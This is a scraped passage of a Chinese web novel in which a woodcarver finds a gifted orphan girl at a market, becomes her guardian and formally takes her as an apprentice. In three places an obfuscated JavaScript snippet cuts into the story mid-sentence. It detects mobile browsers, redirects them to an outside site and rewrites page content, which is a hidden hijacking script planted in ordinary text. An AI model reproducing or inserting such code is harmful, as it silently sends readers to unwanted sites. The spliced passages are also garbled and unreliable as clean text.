“报警?”豆豆妈尖叫,“孟棠,都是邻居,有必要这样吗?我们赔你就是了。” 魏川看了眼车,实事求是:“我会叫4s店评估,确定维修费用。” 豆豆妈:“不能太贵吧?” 魏川说:“不知道,等评估吧。” 方姐这时从屋里拿来了巧克力,给每个孩子都分了两块,没有豆豆的。 魏川和孟棠憋着笑,转头进了院里。 原本还不高兴的孟竞帆已经被孟遇春哄好了,正骑着木马驾驾驾。 孟遇春见两人进来,抬头问了句:“解决了?” 魏川点了点头:“两道很浅的划痕,要不了多少钱。” “哼,小孩不懂事,大人也不懂事。”孟遇春阴阳怪气。 “以后不用跟这个豆豆玩了。”魏川揉了揉儿子的头。 过两年孟竞帆要回z市读书,跟豆豆大概率这辈子都没交集了。 只不过这话嘛,说早了。 孟棠第二天又给儿子买了把同款玩具枪,孟竞帆这次收了过去。 天气越来越冷,孟竞帆每天去幼儿园勤快得很。 他记忆力很好,每天都要追问一遍孟棠:“妈妈,咱们什么时候去玩?” 他就记得玩,孟棠猜测他问的是去东麓的事。 孟棠刚演讲回来,揉了揉孟竞帆的小脸,说:“快了,等你爸爸回雁清的时候,咱们差不多就要去玩了。” “爸爸什么时候回来?”孟竞帆有些等不及。 孟棠看了眼手机,已经月底了,说:“帆帆再放三次假,爸爸就回来了。” 孟竞帆盼星星盼月亮,终于在元旦之前将在z市工作的魏川盼了回来。 元旦前一天,一家三口坐上了去东麓的高铁。 两地离得近,只有高铁是最方便的。 谭曦想要来接,被孟棠拒绝了,魏川有安排跨年活动,就不上门打扰谭曦了。 第250章 收徒(2) 今天是跨年夜,大街小巷的人必然是少不了的。 到了酒店稍作休息,孟棠和魏川带着孟竞帆出了门。 “今天也别去什么高档餐厅了。”孟棠指了指大街上的灯笼,“感受感受人间烟火。” 魏川推着儿童车,问不老实甩腿的孟竞帆:“今晚想吃什么?” “臭豆腐。”孟竞帆语出惊人。 孟棠:“……谁跟你说的臭豆腐?” “沅沅姑姑。”孟竞帆反手就将魏思沅卖了,“我看她电视里吃得好香,我都流口水了。” 说完还活灵活现地“嘶哈”了两声,小模样可招人稀罕。 魏川跟他演,作势在他下巴上抹了把不存在的口水,说:“臭豆腐是好吃,但你就别想了。” “……臭爸爸。” 魏川故作冷脸:“嗯?你说什么?” “只许大人放火,不许小人点灯。”孟竞帆灵感大爆发,爆了个金句。 孟棠失笑:“小人精,妈妈给你买糖葫芦好不好?” “好,要草莓的。”孟竞帆眼尖,“甜。” 魏川:“……小心蛀牙。” 孟竞帆张开嘴:“啊……我没有蛀牙。” “吃多了就蛀牙,黑色的虫子一口一口全把你白白的牙齿给吃掉。”魏川故意吓唬他。 孟竞帆嘴一撇,孟棠赶紧哄了两句:“偶尔吃一下没关系,妈妈这就给你去买草莓的糖葫芦。” 临走前,她还瞪了眼魏川。 魏川顿时收敛了,朝孟棠讨好地笑了笑。 孟棠买了两根糖葫芦,草莓的给了儿子,山楂的给了老公。 魏川一喜:“还有我的份啊?” “一人一半。”孟棠说,“山楂太酸了,不然我就买两根了。” 魏川将第一个糖葫芦抵至孟棠唇边,孟棠咬下来,一口下去,酸了牙根。 魏川拿走糖葫芦:“别吃了,我去给你买个草莓的。” “不用了。”孟棠拉住他,“我吃不了几个,还是想想今晚吃什么吧?” “入乡随俗啊。”魏川说,“都说体验人间烟火了,人家吃什么,我们吃什么呗。” “人家都在吃火锅。”孟棠指向不远处的灯火通明,“人都坐满了。” “就去吃火锅。”魏川牵住她的手指,“跟这天气还挺合适。” “好。”孟棠挽住魏川的胳膊。 他们去的这家火锅店在东麓是最出名的一家,三层楼几乎满客,尤其今天还是跨年夜。 魏川拿了号,和孟棠等了半小时才轮到他们。 幸运的是,位置靠窗,可以看看街景。 魏川将孟竞帆抱到宝宝椅上,在番茄锅里给他烫了些能吃的,比如山药、西蓝花、豆腐之类的。 孟竞帆饭量还是可以的,也不乱跑,乖乖吃完了魏川夹给他的食物。 只是小孩子到底坐不住,他哼哼唧唧要下来,要出去玩。 他们所在的火锅店的门口有一块围起来的儿童小乐园,有工作人员看着。 孟棠从窗户可以看到人,就麻烦店员将他带了出去。 孟竞帆在外头玩了一头汗,孟棠吃得差不多了,指了指外头:“我陪儿子去,你慢慢吃,不要浪费。” 魏川点了点头:“你去吧。” 孟棠在围栏外,带着温柔的笑意看着孟竞帆。 小胖墩额头上都是汗,孟棠轻声提醒:“帆帆,歇会儿不?” “好的,妈妈。”孟竞帆十分听话,从蹦床上下来。 孟棠从包里拿出手帕给儿子擦了汗,魏川正好吃完出来。 “老婆,今晚吃超标了。”魏川感觉自己路都走不动了。 孟棠将孟竞帆拎起来扔进他怀中:“去大街上散散步,消消食。” “爸爸,我要气球。”孟竞帆的视野一下变高,看到了不远处的卡通气球。 魏川将他放到儿童车上:“走,给你买。” 孟竞帆高兴了。 孟棠走过去给他买了一只气球,绑在了他的车上。 “高兴了?”孟棠刮了下孟竞帆的鼻子。 孟竞帆点了点头:“妈妈,我们去前面逛一逛好吗?” 在雁清的时候,方姐和英姐总会带他逛市集,所以孟竞帆不爱逛商场,就爱在街头巷尾穿梭。 “好。”孟棠一口答应,给他戴上了帽子,“有点冷,不要扒拉下来,戴好了。” 孟竞帆乖乖地应了声。 一家三口往前穿过一条大街后,拐上了当地很有特色的木雕集市,以小件为主,大件精品还得去木雕城。 集市的空气里弥漫着一股陈年木料的清香,不知道是不是受孟棠影响,魏川和孟竞帆竟然同时因为这香气感受到了安全感。 他俩很喜欢木香,每次闻到都能想到孟棠。 街道两旁挨挨挤挤,一家三口顺着人群一家一家逛,可惜没有孟棠能够看上的。 质量也就糊弄糊弄游客。 “好友烟火气。”魏川看着摊主和顾客讨价还价,唾液横飞,“咱们乐清的集市比不上这里的规模。” 孟棠点了点头:“确实,等我回去,再找相关协会和部门商量一下扩大集市的事情,也给人家学学,也能吸引不少游客。” “妈妈,我要那个小鸭子。” 孟棠的视线跟随着孟竞帆的小胖指头看过去,一个狭隘局促的小摊后,站着一位八九岁的小孩。 小孩眼睛水灵灵的,又大又圆,透着股机灵劲。 小孩面前的小摊上摆着各种各样憨态可掬的小动物木雕物件。 一看就是边角料雕成的,小猴姿态灵动、猫儿松弛自然、小鸭憨态可掬…… 刀法稍显稚嫩,毛发的细节处理得也不惊喜,但转型神韵极其精准。 这种型不是外表动物的大体形态,而是骨相。 孟棠不自觉向前,在摊前停下,问:“小妹妹,小鸭子怎么卖的?” “谁是小妹妹,我男的。”小孩尖细的声音冲向孟棠。 “抱歉。”孟棠指了指他摊子上的木雕,“怎么卖啊?” 小孩伸出一根食指,十分理直气壮,丝毫不惧。 孟棠试探地问:“十块?” 小孩翻了个白眼:“十块你雕一个给我看看,一百,少一角都不卖。” 孟棠失笑:“狮子大开口了?” “你懂什么?”小孩呛声,“我这手艺就值那么多钱,您去别的摊看看,就知道什么是天赋,什么是灵气。” 孟棠将小孩上下打量了眼:“你雕的?” “当然了。”小孩臭屁道。 “几岁啦?” “8岁。” 孟棠往他手上看了眼,确实伤痕累累带着茧子,他腰间还挂着工具包。 孟棠掏出一百元现金递过去:“我要了,你能不能留个电话给我?” “没有电话。”小孩赶紧把她的小鸭子装起来,“找我就在这里,我节假日都在。” 平时要上学,没空摆摊。 今天宰了个大客,啧啧啧,一百到手,够“他”和阿婆买一个星期的菜了。 第251章 收徒(3) 回到酒店后,魏川给孟竞帆洗了澡,扔上了开始哄睡。 小家伙中午没睡觉,魏川哄了会儿,眯上了眼。 孟棠靠在床头,拿过买的木雕小件,放在掌心细细端详。 临走前,她多买了几件,几乎将小孩的摊子包圆了。 魏川洗完澡出来,问:“还不睡啊?” 孟棠抿了抿唇:“有天赋。” “什么有天赋?”魏川指了指她掌心的木雕猫儿,“我看很平常啊,没有你小时候雕得好。” 孟棠摇了摇头:“比我小时候雕得好,这个小孩,应该有师父。” 没有人带着,入不了门。 魏川见她还在出神,夺走了她掌心里的猫儿,翻来覆去看了好几眼,啧了声: “我也没觉得哪里特殊啊?怎么盯着不松呢?” “你懂什么?”孟棠示意魏川将东西给她,“看这只猫弓起来的后背,每一个关节下刀处很精准,这个动势下的发力被他雕得准确而灵活,专业来讲叫做‘势’,这个小孩,观察力必然极强,眼睛里看到的活物,能一比一复刻到木雕上,按照他这个年岁来说,记忆力应该不错,好好培养,必然有大器。” 魏川听出了她的画外音,搂住孟棠的肩膀,问了句:“动心了?” 孟棠叹了声:“可惜了,他应该有师父。” “明天谭曦的个人展第一天,不是说给你介绍个小孩,说不定比这个好。” 谭曦和孟棠是同行,行业内也有名声,她说好,应该差不到哪里去。 孟棠却不抱什么希望,只怕明天要让她失望了。 谭曦的个人展基础期加弹性延长,差不多两个礼拜。 因为是元旦,展厅布置也结合着日子搞了点新年氛围。 暖光的光线将木雕的纹理阴影衬得更加立体,孟棠驻足没一会儿,谭曦走了过来。 “好久不见。”谭曦跟孟棠抱了下。 孟棠笑着松开她,道了声“恭喜”,随即让开身,给孟竞帆介绍: “帆帆,叫小谭阿姨。” 孟竞帆乖乖叫了人,谭曦笑着捏了下他的脸:“你怎么这么可爱?” 孟竞帆笑眯着眼:“所有人都这么说。” “呦,可爱而自知啊。”谭曦开他玩笑。 “挺自恋的。”孟棠说,“话也多,你越逗他,他越来劲。” “那还是看展吧,我可应付不来小话痨。” 孟棠看向魏川:“你把帆帆带好,我跟谭曦一起。” 魏川点了点头。 主厅区域正中央有个大型木雕《八仙贺岁》,圆雕展现,人物神态逼真,衣褶层次分明,光影下飘动出尘,惊艳十足。 孟棠和谭曦边走边聊,看到认识的打个招呼,孟棠在业内很有名气,都不用谭曦介绍,不少人自动上前攀谈。 11点左右,几个人才从展厅出来。 谭曦在附近订了餐厅,打算和孟棠聊聊小徒弟的事。 孟棠也是这样的打算,等菜的工夫,对谭曦说:“你给我介绍的人,今天没来?” “可能下午要去她家一趟。”谭曦说,“小孩忙得很。” 孟棠失笑:“一个小孩忙什么?” “他家里情况特殊。”谭曦叹气,“父母去世很早,爷奶带大的,他爷爷是老师傅,手艺不上不下吧,一直靠木雕赚点养家糊口的钱。只不过老爷子去年没了,老太太又生了病,可能熬不过今年冬天。” 孟棠一愣:“……没了经济来源,怎么生活?” 谭曦说:“左邻右舍的救济呗,不过小孩挺争气,自己雕刻小玩意去集市卖,只是他要上学,也就节假日赚点糊口的生活费。” 魏川蹙眉:“几岁啊?” “八岁。”谭曦说,“挺漂亮一小孩,就是不知道合不合你眼缘。” “那你自己怎么不收?”孟棠问,“还让我过来一趟?” “我自己都没闯出多大名堂来,怎么收徒?”谭曦说,“我也就是因为听我妈说了一嘴,跟我家沾点亲戚关系,才跟你提了提,我看过他的作品,很灵。” 谭曦都这么说了,孟棠下午无论如何都得去一趟。 但空手上门不太好,带点吃的用的最实用。 吃了午饭,谭曦开车,去了北边一个中心村。 这里人口密集,三教九流,魏川抱起孟竞帆,跟在孟棠和谭曦的身后。 “别紧张,乱是乱了点,但大多都是普通老白姓。” 谭曦带着孟棠,来到前头第二排最东边,说:“他们就住一楼,我先敲门。” 手刚抬起来,门被人从里面拉开。 孟棠一愣,和小孩同时开口:“怎么是你?” 谭曦看向孟棠:“你俩认识?” “我不认识啊。”小孩死死扒着门,“不过卖了你几个小玩意,当时就说好了,什么原因都不退的。” 孟棠失笑:“不是找你退款的,你先让我们进去?” 孟棠的语气太过温柔,伸手也不打笑脸人,小孩挠了下脸,让开了道。 谭曦进门,率先和老太太打了招呼,老太太躺在沙发上睁开了眼,全身只剩皮包骨头。 孟棠将买的东西搁在茶几边,听着谭曦和老太太闲聊。 老太太看向孟棠,抓着谭曦的手:“这就是给小鱼找的师父?” “成不成,还得看资质。”谭曦没敢打包票。 小孩睁大了眼看向孟棠:“你会木雕?” 谭曦一巴掌拍她后脑勺:“不会我带人过来干什么?你知道她是谁吗?” 孟棠笑着问:“你叫小鱼?” “我姓程。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440727|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩抬起下巴,“单名一个逾,逾越的逾,逾山逾海,超越一切的意思。” “好名字。”孟棠眼眸一亮,“谁给你取的?” 程逾得意地哼了声:“我爷爷。” “老爷子有文化。”孟棠说,“你平日里在哪里雕刻?” 谭曦推了一把程逾:“带人家去。” 程逾瞥了眼孟棠:“跟我来。” 她的卧室就是她的“工作间”,孟棠推门而入,被满桌的木头吸引了目光。 室内空间不大,床和衣柜都很小,其余地方都用来堆木头了。 散落的白纸上还有铅笔打的草稿,线条挺流畅的。 “你爷爷没少教你。”孟棠看着程逾。 程逾有一瞬间的失落,说:“那是,我可是尽得老人家真传。” “你挺有天赋的,愿意给我去雁清吗?”孟棠看着她的雁清文。 程逾迎上她的目光:“你让我去我就去啊,你有啥本事啊?” 有个性,还得先考验一下师父。 孟棠没有追究她的冒犯,拿起她桌上的练习作品,还是一只猫。 她说:“你有天赋,一是形,作品的骨相抓得好,你有‘意在刀先’的意识,没少观察动物的各种形态吧?二是刀法虽有拙气,但胜在动感和生机。” “基本功也不错,但越是这样,你越需要系统的学习,从磨刀练线开始。” “你现在的木雕是为了生计,久而久之,生活会磨破你的韧性,我想你雕天真、雕童趣、雕历史、雕传承……这样的前提是什么?” 这是在考自己,程逾知道。 她盯着孟棠看了会儿,说:“需要读书。” 孟棠笑了:“你正是读书的年纪,考虑考虑吧,你来雁清,我收你为徒。” “你叫什么名字?”程逾问。 “孟棠,孟子的孟,海棠的棠。” “我知道你,黄杨木雕的正统传承人,可我学的是东麓木雕。” 孟棠说:“那你来吗?” 程逾思考不过片刻,说:“我爷爷说过,这两种木雕都是中国传统木雕艺术的分支,以木为载体的艺术而已,文化根基同源,雕刻的形式不一样,本质是一样的。” 八岁的小孩,说的话一套一套的,口才也挺利索。 孟棠真心喜欢程逾,说:“你家里还有老太太,考虑好了后给我打电话,我待会儿留个号码给你。” “不过很多事,我说在前头,跟我去雁清,吃住都在我家,一个月回家一次,也得转学去雁清……还有很多的细节,谭曦会跟你说,你好好考虑。” 程逾点了点头。 她知道孟棠说得好听,考虑只是委婉的说法,因为外间的老太太不行了。 让她考虑的这段时间尽最后一段孝罢了。 第252章 收徒(4) 出了程逾家,孟棠转头跟谭曦说:“我看老太太确实不太好了,你在这里,离得近,能帮就帮一把。” “这还用你说。”谭曦叹了声气,“我倒是希望小鱼去雁清别回来了,老太太那边沾亲带故都想要瓜分她的房子,小鱼一个小孩子,拦不住的。” “还有这事?”孟棠停了脚步,“一个未成年的小孩,也没权卖房子,程逾有跟你说过什么打算吗?” 谭曦:“老太太的意思是希望我帮忙卖掉房子,钱给小鱼。” “不现实。”魏川说,“未成年不能独立卖房,需要法定监护人代理。” “所以我接下来就是想跟你俩聊这事。”谭曦有些为难,“你既然要收他为徒,他以后弘扬的是黄杨木雕,也算半个孟家人了吧,孟棠,你怎么想的?” 虽然只短短见过两面,但这小孩韧性十足,像暴露雨地的野草,淋得着她,却打不死她。 孟棠思考了片刻,转头跟魏川说:“要不在这里多待一阵子,我是他师父,可以成为他的监护人。” 魏川点点头:“要做,行动就要快,赶在亲戚们知道之前办了,我现在就给老爷子打电话,让他把需要的证件寄过来。” “好。”孟棠转身,“还是上去一趟吧,这个决定要看看老太太和程逾自己同不同意。” 老太太对谭曦信任,对孟棠却还保留着戒心。 孟棠掏出自己的身份证给老太太看:“这是我身份证,网上也能查到我的很多信息,我跟谭曦是大学同学,一直致力于传统木雕的发扬……” “我听谭曦说您要卖房,这钱呢,您可以放谭曦父母那儿,成年之后再给程逾。” “别啊,我不得吃喝拉撒啊。”程逾一听急了,她可不想白吃白喝啊。 孟棠转头:“拜师的规矩是什么你知道吗?” 程逾摇了摇头。 孟棠说:“师父管吃喝拉撒,徒弟要侍奉学艺。” 程逾摸了摸头:“哦。” 那她岂不是占便宜了,学手艺还管吃喝拉撒。 “您要同意的话,趁着清醒,我让我先生和谭曦父母,再找两个当地威望高的人一起去办这件事。” “程老头性格不错,咱们本地木雕协会的一位老先生对他也多有照顾。”谭曦说,“我可以试着联系,让他再找一个德高望重的人,尽量将这事给办了。” 孟棠点了点头:“行。” 再次从程家出来,孟棠的心里轻松了不少,她对魏川说: “卖房子的事,一时半会找不到人买,而且老太太身后事肯定也在那套房子里办,你找人买下来吧,以后也给程逾一个念想,就当我这个做师父的一点心意。” 魏川点了点头。 这个小地方的房子值不了多少钱。 谭曦拉住孟棠,一时不知道说什么。 孟棠拍了拍她的手,一切尽在不言中。 几天的时间解决不了这里的事,孟竞帆还要上学,三天后,孟棠带着他回了雁清。 之后又和魏川去东麓提交相关材料,若符合规定,十个工作日能完成审核。 魏川拿着证件笑道:“得亏那天又打电话没让老头寄过来。” 孟棠想起早上孟竞帆撒娇还要跟她来东麓就想笑。 这次过来,提交一下材料就行,晚上应该就能回去。 到了东麓,依旧是谭曦接的他俩,这次没有去程家,老太太和程逾都在车上。 寒暄了一番,一行人上了车。 谭曦的手上拿着程逾的所有证件和资料,她随手翻开看了眼,这一看,愣在了原地。 孟棠察觉转头,抵了抵她:“怎么了?” 谭曦将程逾的户口本摊给她看,孟棠也是一愣,不由得转过头问程逾:“你是女孩啊?” “呃……”程逾一噎,“你不知道吗?小谭姐姐没跟你说?” “你不是男孩啊?”谭曦都懵了。 程逾也懵:“你不知道啊?” 谭曦:“……我去哪儿知道啊?你说是我们家的亲戚,我也是前段时间刚知道你,你自己在集市摆摊说自己是男的,我以为你是男孩啊。” 程逾:“……我是为了在外行走方便。” 谭曦轻轻打了她一下:“还行走方便,你以为闯荡江湖呢?” 孟棠失笑:“她的情况,跟闯荡江湖也差不多吧?” “你还笑。”谭曦翻了个白眼,“这小鬼头都没跟你说实话。” 孟棠说:“挺聪明的。” 程逾得意地皱了皱鼻子。 一天下来,孟棠的腿都快断了,今天跑了好多个地方。 回到雁清的时候,天已经黑了。 魏川推开院门,老远就喊了人。 方姐连忙迎了出去:“就知道你们这个点回来,赶紧洗洗手吃饭了。” “你们还没吃啊?”魏川一点不惊讶,“都让你们先吃了。” 方姐笑道:“你儿子已经吃完了,小英给他洗澡去了,你们也赶紧的吧。” 魏川带着孟棠洗了手,在餐桌边坐下。 自己一口没上,先给孟棠夹了半盘子。 “我自己夹,你吃你的。”孟棠阻止了下。 魏川这才埋头吃饭。 孟遇春问孟棠:“事情都办好了?” “嗯。”孟棠点了点头,“您对于我这次要收的小徒弟怎么看?” “人嘛,我还没看到,暂且不作评价。”孟遇春说,“雕的作品我倒是看到了,天赋有,但要做一个系统的学习,她来之后,先不要着急教她,先让她读书。” 孟棠点了点头:“明白。” 天气越来越冷,孟棠一直在关注东麓的信息,程逾的奶奶幸运的过了这个年,元宵节前夕还是没熬过去。 程逾虽然早有准备,但小小一个人,撕心裂肺哭了一天。 丧事有谭曦父母和左邻右舍帮衬着,孟棠每天都能接到她的消息,她什么也没做,只是静静等着。 等到二月初,有人叩响了雁清孟家的大门。 孟棠亲自开了门,还没来得及露个笑脸,门外的程逾扑通一声跪了下去:“师父。” “还没拜师。”孟棠扶起她,“先进来。” 魏川亲自去接的人,他拎着大包小包哄着她俩先进屋。 全家早就接到了消息,对于新来的成员热情相待。 “小鱼,先坐着歇会儿。”孟棠说,“吃点东西。” 程逾说:“我不饿,也不累,师父,我什么时候拜师啊?” 她一路睡过来的,车上太暖和了。 “不急。”孟棠说,“我待会儿看一下黄历,挑个吉日,你这几天先适应一下,我还得给你办理转学手续。” “好。” 歇了片刻,孟棠起身,说:“我带你去你房间看看,有什么不满意的,直接说,我让英姐再给你添。” 程逾起身,跟上了孟棠。 她的房间和孟竞帆挨着,但比孟竞帆的要大,和孟棠房间的布置几乎一样。 程逾愣了半晌,转头问孟棠:“我住这么好的房间?” 孟棠失笑:“不然呢?你住柴房?” “呃……”程逾难得一噎,“那还是算了。” 孟棠揉了揉她的头:“以后方姐负责照顾你,你也别跟她客气,待会儿让她把你的行李都收拾一下,然后去后院找我,后院是工坊和木料库。” “好。” 程逾应了声,也没等英姐,自己先收拾了起来。 她本来想随便揉揉扔进衣柜,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450128|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看四周整齐干净的装饰,立刻打消了这个念头。 她在东麓很随心,要是到了别人家还这样,要被烦的。 程逾将衣服一件一件拿出来,衣柜门一打开,愣住了。 衣服颜色从浅至深,码数全都一样,没有标签,但布料很精致。 孟棠在她身后说:“两条街外的裁缝店做的,喜欢吗?” 程逾忙不迭点了头,一向灵活的小嘴反倒说不出感谢的话了。 原来拜师这么好的吗? 稍顿片刻,程逾去到后院时,完全被惊呆了。 那么大的院落,得是她家的三倍大,除了一间工坊外,其他的房子全都装了木头。 怪不得全家都挤去了中院住。 程逾盯着那些木头眼神放光,以前跟在爷爷身后,只能用些边角料。 “不要着急。”孟棠说,“先适应雁清的环境,再适应学校,等你状态好了,我会把我所学全都教给你。” 程逾郑重地点了下头,她一点都不怕吃苦,甚至乐在其中。 程逾的转学手续办得很快,八岁是二年级学生,东麓和雁清两地不远,又是同一个省份,学习方面倒不用再去适应。 程逾适应力极强,干净利落的短发像个假小子,放学出来,永远都是风风火火。 在孟家住了七天,她已经完全适应。 能和方姐插科打诨,能帮孟棠做些小事,还能带一带孟竞帆…… 魏川都开始佩服她。 晚上躺在床上,孟棠说:“她之所以这样,都是因为没人撑腰罢了。” 小小年纪要承担生活的重任,嘴要灵活之外,还得厚脸皮,察言观色,这些都是程逾已经形成的性格底色。 不过这孩子开朗也是真开朗,一点不内耗,有事干就完了,性格太好了。 孟棠小时候也算无父无母,和程逾完全相反,大概就是她不用为生活所迫。 又一个礼拜,在程逾无数次问孟棠什么时候收徒后,孟棠和孟遇春终于敲定了吉日。 正儿八经的拜师会有一个引荐人,这个引荐人,孟棠邀请了谭曦。 程逾用毛笔正楷写了拜师帖,谭曦笑了声,表示肯定:“毛笔字不错,但还要练。” 程逾点了点头。 孟家正厅,孟棠高坐,谭曦按照流程介绍了程逾的基本情况。 程逾拿着拜师帖高高举过头顶:“弟子程逾,承蒙师父不弃,将我接回家中,今天弟子恳请拜入师门,潜心学艺,传承匠心。” 孟棠接过拜师帖点了点头:“木雕这行要吃得了苦,守得了心,一刀一凿都是枯燥,也不是一天就能成事的,你能做到持之以恒?” 程逾答:“能。” 孟棠又说:“德在艺之前,不管做什么都要先做人,以后能否品行端正,尊师重道?” 程逾答:“一日承师,终身敬若亲长。” 孟棠欣慰地笑了笑:“能否将所学技艺发扬光大,薪火相传?” 程逾答:“不忘师恩,定将所学传承下去。” 孟棠看向谭曦,谭曦高喊:“行拜师礼。” 程逾鞠了三躬,奉了茶水。 孟棠第一次收徒,其实有些紧张,不过面上看不出来。 她仿照当年老爷子的做法,将技艺捧给下一代。 饮茶后,孟棠训诫程逾:“既然进了师门,就要守师门的规矩,八个字:尊师、重道、养德、精艺。” 程逾应道:“我知道,谢谢师父训诫。” 孟棠转过身,示意程逾跟她拜祖师爷。 两人执香行礼,孟棠郑重道:“今天程逾入门,乞求祖师爷点化其性,通达木理,让我黄杨木雕生生不息。” 案头燃香袅袅,程逾看向孟棠,满眼敬意。 第253章 收徒(5) 程逾的性格在一年的时间里,发生了点变化。 以前横冲直撞,无所畏惧,现在时刻谨记不能给孟棠惹麻烦,所以她学会了低调。 可能也是耳濡目染,孟棠低调,她也就跟着学了。 谭曦偶尔会打个电话过来问问她的情况,程逾每次只有一句话:“我很喜欢现在的生活,特别有盼头。” 家里的每个人都对她特别好,程逾自己都觉得孟棠不仅把她当成徒弟,但当女儿的这种话,她也不好意思直说。 午后的工坊里温湿度适宜,程逾捏着泥塑,沉浸在窗棂透进的光柱中。 孟棠轻手轻脚地靠近,并没有惊动她。 九岁的小女孩,手一点不稚嫩,注意力也足够专注,丝毫没察觉自己来了好一会儿。 半晌,孟棠叫她:“小鱼。” 程逾回眸,眼睛亮了亮:“师父,你回来了。” “嗯。”孟棠看向她,说,“洗洗手去,待会儿考一下木料习性。” “好。” 师徒俩在工坊里一待就是小半天,魏川找过来的时候,太阳已经落山了。 “你俩出来歇会儿。” 孟棠应了声,带着程逾出了工坊,门刚打开,孟棠的双腿被孟竞帆抱住:“妈妈,我都一天没见你了。” 孟棠弯腰捏了下他的脸:“我回来的时候,你跟人家玩得开心呢。” “我这不是回来了嘛。”孟竞帆抱着孟棠的大腿撒娇,程逾在一旁看得起鸡皮疙瘩。 没见过哪家男孩这么能撒娇的。 “吃饭了。“方姐从厨房冒头,喊了一嗓子。 程逾赶紧去端菜盛饭,孟竞帆紧随其后。 小家伙有点心眼,知道家里来了个新成员,生怕人家抢了他的宠爱,整天当人家的跟屁虫。 孟遇春起初看到还会夸一句:“咱们帆帆真棒,吃饭前还知道拿筷子了。” 魏川蓦然一笑:“他那是勤快吗?明明都是心眼。” 孟遇春没反应过来:“什么心眼?” 魏川在他耳边小声说儿子的坏话:“他那是怕小鱼抢走他的宠爱。” 孟遇春仰头大笑:“原来是这样。” 孟竞帆不知道自己的小心思在全家暴露,从此程逾做什么,他做什么,俨然跟屁虫一个。 跟屁虫拿了筷子,挨着孟棠坐下。 孟遇春说一句吃饭,众人才动了筷子。 “今早上你公婆来电,问你俩什么时候把帆帆带回z市,暑假都放一个星期了还没动静。” 孟棠有些诧异:“怎么没给我和魏川打?” “可能是怕催你吧。”孟遇春说,“人家也就是委婉地提了句。 孟棠和魏川对视了眼,扭头问程逾:“小鱼,想去z市玩吗?” “不想去。”程逾赶紧摇头,“我跟师公在家就好,师父,您去z市的时间,我会跟着师公好好学的。” z市是孟竞帆的爷爷奶奶家,跟她八竿子打不着,她去算什么。 “你以前去过哪里?”魏川扭过脸,问程逾。 程逾摇了摇头,坦荡得很:“我都快吃不起饭了,除了东麓那一亩三分地,哪都没去过。” “那这次跟我们一起去z市看看吧。”魏川说,“家里只有帆帆一个孩子,太冷清,每次回家他都待不住,要回雁清,你过去陪他一起玩,估计能多留两天,帆帆的爷爷奶奶很想他,自然希望他多留几天。” 孟棠也跟着搭腔:“他自己一个人还不乐意待在那儿,非得拉着我和你川叔。” 孟遇春“嗯”了声:“确实是这样,雁清到z市不远,去那边玩几天,也给你方姐和英姐放两天假。” “那我可得好好歇歇这把老骨头了。”方姐笑道。 英姐抵了抵她:“那我得回趟家。” 程逾再也没有拒绝的理由,她下意识看向孟棠,孟棠笑着点了点头。 孟竞帆问:“那我们什么时候回去?沅沅姑姑怀小宝宝了,我这次能见到小宝宝吗?” 孟棠失笑:“见不到,小宝宝要等到冬天才能见到。” 孟竞帆有些失望,学着大人叹了声气:“我还想把我的玩具带给小宝宝玩呢。” 魏川说:“你姑姑可一直惦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454878|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记你的多宝匣呢,你也舍得?” “当然不行。”孟竞帆哼了声,“那是太爷爷送给我的,我怎么能送给别人呢?” 孟遇春通体舒畅,心想这小子嘴太甜了,不像他老子,总跟他拌嘴。 程逾因为要去z市,翻来覆去竟然两个晚上没睡好。 孟棠发现她的黑眼圈,顺嘴问了句:“你挽上干什么了?” “师父啊。”程逾黑葡萄的大眼睛今天呆愣愣的,“我有点紧张。” 孟棠失笑:“别紧张,你到时候跟着帆帆一起叫爷爷奶奶就成,那边的亲戚,帆帆怎么叫,你就怎么叫。” 程逾点了点头。 孟棠揉了揉她的短发,说:“养了一年多,头发可算不毛躁了,也顺亮了好多,马上可以留长发了。” “我不要长头发,好麻烦。”程逾皱了皱鼻子,“洗了要吹干,平时还要护理,我哪来的空啊。” 孟棠被她逗笑:“怎么感觉你比我这个师父还忙。” 程逾嘿嘿一下:“我当然没您日理万机了。” “行李收拾好了?”孟棠问。 起初她让英姐去帮程逾收拾行李,程逾非要自己动手,孟棠也就随她了。 “收拾好了。” 她带了三套换洗的衣服,去十来天,肯定是够的。 翌日一早,魏川起床后,将孟竞帆和孟棠一一叫醒,程逾已经起了,正在刷牙。 方姐做了早餐,老爷子年纪愈大,凌晨四点就起了床。 人家早就吃过早餐,慢悠悠散步去了。 直至早饭后,魏川他们要走了,孟遇春才回来。 